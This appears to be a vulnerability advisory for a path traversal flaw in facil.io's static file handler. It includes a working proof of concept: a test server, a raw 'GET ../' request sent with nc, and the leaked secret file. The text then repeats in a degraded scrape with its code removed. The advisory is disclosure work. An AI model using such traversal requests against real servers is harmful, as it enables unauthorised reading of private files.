Summary
A path traversal vulnerability exists in facil.io's built-in static file handler when static file serving is enabled through .public_folder. An unauthenticated remote client can request a path that starts with ../ and cause the server to serve files outside the configured public directory. This can allow remote attackers to read files that should not be exposed by the static file service, limited by the filesystem permissions of the server process.
Details
The issue is in http_sendfile2() in lib/facil/http/http.c.
The function builds the target file path by concatenating the configured public_folder with the request path, and then attempts to reject path traversal using http_test_encoded_path():
if (http_test_encoded_path(tmp.data + prefix_len, tmp.len - prefix_len))
return -1;
However, http_test_encoded_path() only detects traversal sequences when they appear after a slash, such as /../. It does not reject a request path that begins directly with ../.
The HTTP/1 parser also accepts request targets that do not start with /. Therefore, the following request target is accepted by the server:
GET ../secret/secret.txt HTTP/1.1
Host: target
If the configured static file root is:
then facil.io attempts to open the following path:
/var/www/public/../secret/secret.txt
This escapes the intended static file root and allows access to files outside public_folder.
PoC
Build a minimal facil.io server with static file serving enabled through .public_folder:
#include <fio.h>
#include <http.h>
static void on_request(http_s *h) {
http_send_body(h, "APP\n", 4);
}
int main(void) {
http_listen("34567", "127.0.0.1",
.on_request = on_request,
.public_folder = "/tmp/facil_audit_www/",
.log = 0,
.timeout = 2);
fio_start(.threads = 1, .workers = 1);
}
Prepare the public directory and a separate secret directory outside it:
mkdir -p /tmp/facil_audit_www /tmp/facil_audit_secret
printf 'PUBLIC_OK\n' > /tmp/facil_audit_www/index.html
printf 'SECRET_LEAK_12345\n' > /tmp/facil_audit_secret/secret.txt
Send a request whose target starts with ../:
printf 'GET ../facil_audit_secret/secret.txt HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' \
| nc 127.0.0.1 34567
Observed response:
HTTP/1.1 200 OK
content-type:text/plain
content-length:18
SECRET_LEAK_12345
This demonstrates that a file outside the configured public_folder can be served through the static file handler.
Impact
This is a path traversal vulnerability in facil.io's static file service.
Any application that enables facil.io's built-in static file serving through .public_folder may allow unauthenticated remote users to read files outside the intended public directory. The exposed files are limited by the filesystem permissions of the server process, but may include configuration files, application data, secrets, logs, source files, or other sensitive local files located near the public directory.
This issue is not reachable when .public_folder is unset.
Affected products:
- Ecosystem: Other
- Package name:
facil.io
- Affected versions:
<= 0.7.58
- Patched versions: none identified
Severity:
- Severity: High
- CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Summary
A path traversal vulnerability exists in facil.io's built-in static file handler when static file serving is enabled through
.public_folder. An unauthenticated remote client can request a path that starts with../and cause the server to serve files outside the configured public directory. This can allow remote attackers to read files that should not be exposed by the static file service, limited by the filesystem permissions of the server process.Details
The issue is in
http_sendfile2()inlib/facil/http/http.c.The function builds the target file path by concatenating the configured
public_folderwith the request path, and then attempts to reject path traversal usinghttp_test_encoded_path():However,
http_test_encoded_path()only detects traversal sequences when they appear after a slash, such as/../. It does not reject a request path that begins directly with../.The HTTP/1 parser also accepts request targets that do not start with
/. Therefore, the following request target is accepted by the server:If the configured static file root is:
then facil.io attempts to open the following path:
This escapes the intended static file root and allows access to files outside
public_folder.PoC
Build a minimal facil.io server with static file serving enabled through
.public_folder:Prepare the public directory and a separate secret directory outside it:
Send a request whose target starts with
../:Observed response:
This demonstrates that a file outside the configured
public_foldercan be served through the static file handler.Impact
This is a path traversal vulnerability in facil.io's static file service.
Any application that enables facil.io's built-in static file serving through
.public_foldermay allow unauthenticated remote users to read files outside the intended public directory. The exposed files are limited by the filesystem permissions of the server process, but may include configuration files, application data, secrets, logs, source files, or other sensitive local files located near the public directory.This issue is not reachable when
.public_folderis unset.Affected products:
facil.io<= 0.7.58Severity:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NWeakness: